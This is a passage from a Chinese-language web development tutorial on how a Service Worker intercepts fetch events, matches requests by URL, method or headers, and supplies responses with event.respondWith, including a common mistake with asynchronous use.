<div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\"><b></b>&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\"><b></b>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;</h1>\n<p>&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#x662F; Service Worker &#x7684;&#x91CD;&#x8981;&#x529F;&#x80FD;&#x4E4B;&#x4E00;&#x3002;Service Worker &#x5728;&#x5B8C;&#x6210;&#x6CE8;&#x518C;&#x5E76;&#x6FC0;&#x6D3B;&#x4E4B;&#x540E;&#xFF0C;&#x5BF9; <code>fetch</code> &#x4E8B;&#x4EF6;&#x7684;&#x76D1;&#x542C;&#x5C31;&#x4F1A;&#x5F00;&#x59CB;&#x751F;&#x6548;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5728;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x91CC;&#x5B8C;&#x6210;&#x5BF9;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x4E0E;&#x6539;&#x5199;&#x3002;&#x4E0B;&#x9762;&#x8FD9;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x6F14;&#x793A;&#x4E86;&#x5982;&#x4F55;&#x62E6;&#x622A; <code>http://127.0.0.1:8080/data.txt</code> &#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x56FA;&#x5B9A;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">event</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token string\">&apos;http://127.0.0.1:8080/data.txt&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x65E0;&#x8BBA;&#x539F;&#x59CB;&#x7684; data.txt &#x5185;&#x5BB9;&#x662F;&#x4EC0;&#x4E48;&#xFF0C;&#x7ECF;&#x8FC7;&#x4E0A;&#x9762;&#x7684; Service Worker &#x62E6;&#x622A;&#x6539;&#x5199;&#x4E4B;&#x540E;&#xFF0C;&#x90FD;&#x5C06;&#x53D8;&#x6210;&#x7B80;&#x5355;&#x7684;&#x201C;Hello World!&#x201D;&#x3002;&#x57FA;&#x4E8E;&#x540C;&#x6837;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x591F;&#x5BF9;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#xFF0C;&#x5305;&#x62EC;&#x5404;&#x79CD; JS&#x3001;CSS&#x3001;HTML &#x7B49;&#x6587;&#x672C;&#x6587;&#x4EF6;&#xFF0C;&#x5404;&#x7C7B;&#x63A5;&#x53E3;&#x8BF7;&#x6C42;&#xFF0C;&#x751A;&#x81F3;&#x662F;&#x56FE;&#x7247;&#x3001;&#x89C6;&#x9891;&#x7B49;&#x6570;&#x636E;&#x6D41;&#x90FD;&#x662F;&#x53EF;&#x4EE5;&#x7684;&#x3002;</p>\n<h2 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;</h2>\n<p><code>fetch</code> &#x4E8B;&#x4EF6;&#x4F1A;&#x62E6;&#x622A;&#x9875;&#x9762;&#x4E0A;&#x6240;&#x6709;&#x7684;&#x7F51;&#x7EDC;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x901A;&#x5E38;&#x53EA;&#x5BF9;&#x90E8;&#x5206;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x5904;&#x7406;&#xFF0C;&#x5176;&#x4F59;&#x7684;&#x8BF7;&#x6C42;&#x4F1A;&#x7EE7;&#x7EED;&#x8D70;&#x6D4F;&#x89C8;&#x5668;&#x9ED8;&#x8BA4;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x6D41;&#x7A0B;&#x3002;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x5BF9;&#x5F53;&#x524D;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#x5206;&#x7C7B;&#x3002;</p>\n<p><code>fetch</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x53C2;&#x6570;&#x7684; <code>event.request</code> &#x5C5E;&#x6027;&#x63CF;&#x8FF0;&#x4E86;&#x5F53;&#x524D;&#x88AB;&#x62E6;&#x622A;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5B83;&#x6765;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#x5206;&#x7C7B;&#x3002;event.request &#x662F; Request &#x5BF9;&#x8C61;&#x7684;&#x5B9E;&#x4F8B;&#xFF0C;&#x5305;&#x542B;&#x4E86;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684; URL&#x3001;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x3001;&#x8BF7;&#x6C42;&#x5934;&#x7B49;&#x5168;&#x90E8;&#x4FE1;&#x606F;&#x3002;</p>\n<p>&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5224;&#x65AD;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5BF9; event.request.url &#x8FDB;&#x884C;&#x5339;&#x914D;&#x6765;&#x5B9E;&#x73B0;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5C55;&#x793A;&#x51FA;&#x90E8;&#x5206;&#x5E38;&#x7528;&#x7684;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5168;&#x7B49;&#x5339;&#x914D;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token string\">&apos;http://127.0.0.1:8080/data.txt&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x6B63;&#x5219;&#x5339;&#x914D;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/data\\.txt/</span><span class=\"token punctuation\">.</span><span class=\"token function\">test</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x501F;&#x52A9; URL &#x8FDB;&#x884C;&#x5339;&#x914D;</span>\n<span class=\"token keyword\">let</span> url <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>\n  url<span class=\"token punctuation\">.</span>hostname <span class=\"token operator\">===</span> <span class=\"token string\">&apos;127.0.0.1&apos;</span> <span class=\"token operator\">&amp;&amp;</span>\n  url<span class=\"token punctuation\">.</span>port <span class=\"token operator\">===</span> <span class=\"token string\">&apos;8080&apos;</span> <span class=\"token operator\">&amp;&amp;</span>\n  url<span class=\"token punctuation\">.</span>pathname <span class=\"token operator\">===</span> <span class=\"token string\">&apos;/data.txt&apos;</span>\n<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x4E00;&#x4E9B;&#x7279;&#x6B8A;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4EC5;&#x9760; URL &#x8FDB;&#x884C;&#x6587;&#x672C;&#x5339;&#x914D;&#x5E76;&#x4E0D;&#x8DB3;&#x4EE5;&#x5224;&#x65AD;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x662F;&#x5426;&#x6EE1;&#x8DB3;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x5229;&#x7528; event.request &#x7684;&#x5176;&#x4ED6;&#x5C5E;&#x6027;&#x8FDB;&#x884C;&#x8F85;&#x52A9;&#x5224;&#x65AD;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5339;&#x914D; POST &#x8BF7;&#x6C42;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>method <span class=\"token operator\">===</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x5339;&#x914D; text/html &#x8D44;&#x6E90;&#x7C7B;&#x578B;&#x8BF7;&#x6C42;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>headers<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Content-Type&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> <span class=\"token string\">&apos;text/html&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5339;&#x914D;&#x6210;&#x529F;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#x5C01;&#x88C5;&#x6210; <code>match</code> &#x51FD;&#x6570;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x4F7F;&#x7528;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x4F20;&#x5165;&#x5339;&#x914D;&#x89C4;&#x5219;&#x548C;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">match</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">rule<span class=\"token punctuation\">,</span> request</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">Object</span><span class=\"token punctuation\">.</span>prototype<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">.</span><span class=\"token function\">call</span><span class=\"token punctuation\">(</span>rule<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// url &#x6587;&#x672C;&#x5339;&#x914D;</span>\n    <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;[object String]&apos;</span><span class=\"token punctuation\">:</span>\n      <span class=\"token comment\">// &#x4F7F;&#x7528; URL() &#x5C06;&#x5339;&#x914D;&#x89C4;&#x5219;&#x4F20;&#x5165;&#x7684;&#x8DEF;&#x5F84;&#x8865;&#x5168;</span>\n      <span class=\"token keyword\">return</span> request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>rule<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>href\n\n    <span class=\"token comment\">// url &#x6B63;&#x5219;&#x5339;&#x914D;</span>\n    <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;[object RegExp]&apos;</span><span class=\"token punctuation\">:</span>\n      <span class=\"token keyword\">return</span> request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>rule<span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\">// &#x652F;&#x6301;&#x81EA;&#x5B9A;&#x4E49;&#x5339;&#x914D;</span>\n    <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;[object Function]&apos;</span><span class=\"token punctuation\">:</span>\n      <span class=\"token keyword\">return</span> <span class=\"token function\">rule</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0B;&#x9762;&#x4E3E;&#x4E00;&#x4E9B;&#x4F7F;&#x7528; match &#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5339;&#x914D;&#x7684;&#x4F8B;&#x5B50;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5B8C;&#x6574;&#x7248; URL &#x5339;&#x914D;</span>\n<span class=\"token function\">match</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;http://127.0.0.1:8080/data.txt&apos;</span><span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x76F8;&#x5BF9;&#x8DEF;&#x5F84; URL &#x5339;&#x914D;</span>\n<span class=\"token comment\">//</span>\n<span class=\"token comment\">// &#x5047;&#x8BBE;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7F51;&#x5740;&#x4E3A; http://127.0.0.1:8080/index.html</span>\n<span class=\"token comment\">// &#x90A3;&#x4E48; /data.txt &#x4F1A;&#x81EA;&#x52A8;&#x8865;&#x5168;&#x4E3A; http://127.0.0.1:8080/data.txt</span>\n<span class=\"token function\">match</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.txt&apos;</span><span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x6B63;&#x5219;&#x5339;&#x914D;</span>\n<span class=\"token function\">match</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/data\\.txt/</span><span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x81EA;&#x5B9A;&#x4E49;&#x5339;&#x914D;&#x65B9;&#x6CD5;</span>\n<span class=\"token function\">match</span><span class=\"token punctuation\">(</span>\n  <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">.</span><span class=\"token function\">indexOf</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.txt&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span>\n  event<span class=\"token punctuation\">.</span>request\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;</h2>\n<p>&#x901A;&#x8FC7; <code>fetch</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x53C2;&#x6570;&#x7684;&#x65B9;&#x6CD5; <code>event.respondWith(r)</code> &#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x3002;respondWith(r) &#x65B9;&#x6CD5;&#x7684;&#x53C2;&#x6570; r &#x53EF;&#x4EE5;&#x662F;&#x4E00;&#x4E2A; Response &#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x662F;&#x4E00;&#x4E2A; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x4E2A; Promise &#x5BF9;&#x8C61;&#x5728;&#x5F02;&#x6B65;&#x6267;&#x884C;&#x5B8C;&#x6210;&#x7684;&#x65F6;&#x5019;&#x540C;&#x6837;&#x9700;&#x8981; resolve &#x8FD4;&#x56DE;&#x4E00;&#x4E2A; Response &#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;&#x4F5C;&#x4E3A;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x3002;&#x4E0B;&#x9762;&#x6F14;&#x793A;&#x7684;&#x4E24;&#x79CD;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x65B9;&#x5F0F;&#x90FD;&#x662F;&#x53EF;&#x884C;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x76F4;&#x63A5;&#x8FD4;&#x56DE; Response &#x5BF9;&#x8C61;</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x7B49;&#x5F85; 1 &#x79D2;&#x949F;&#x4E4B;&#x540E;&#x5F02;&#x6B65;&#x8FD4;&#x56DE; Response &#x5BF9;&#x8C61;</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\"><a name=\"&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\" class=\"plugin-anchor\" href=\"#&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5F02;&#x6B65;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x6B63;&#x786E;&#x65B9;&#x5F0F;</h3>\n<p>event.respondWith &#x65B9;&#x6CD5;&#x4E0E; <code>install</code>&#x3001;<code>activate</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x53C2;&#x6570;&#x4E2D;&#x7684; event.waitUntil &#x7C7B;&#x4F3C;&#xFF0C;&#x8D77;&#x5230;&#x4E86;&#x6269;&#x5C55;&#x5EF6;&#x957F; <code>fetch</code> &#x4E8B;&#x4EF6;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x4F5C;&#x7528;&#xFF0C;&#x5728; <code>fetch</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x540C;&#x6B65;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x4E4B;&#x524D;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x8C03;&#x7528; event.respondWith(r) &#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x4F1A;&#x8FDB;&#x5165;&#x6D4F;&#x89C8;&#x5668;&#x9ED8;&#x8BA4;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x6D41;&#x7A0B;&#x5F53;&#x4E2D;&#x3002;&#x4E0B;&#x9762;&#x6240;&#x6F14;&#x793A;&#x4E00;&#x79CD;&#x5E38;&#x89C1;&#x7684;&#x9519;&#x8BEF;&#x7528;&#x6CD5;&#xFF0C;&#x6B64;&#x65F6; event.respondWith &#x662F;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x6548;&#x679C;&#x7684;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x9519;&#x8BEF;&#x7528;&#x6CD5;</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> <span class=\"token string\">&apos;http://127.0.0.1:8080/data.txt&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token 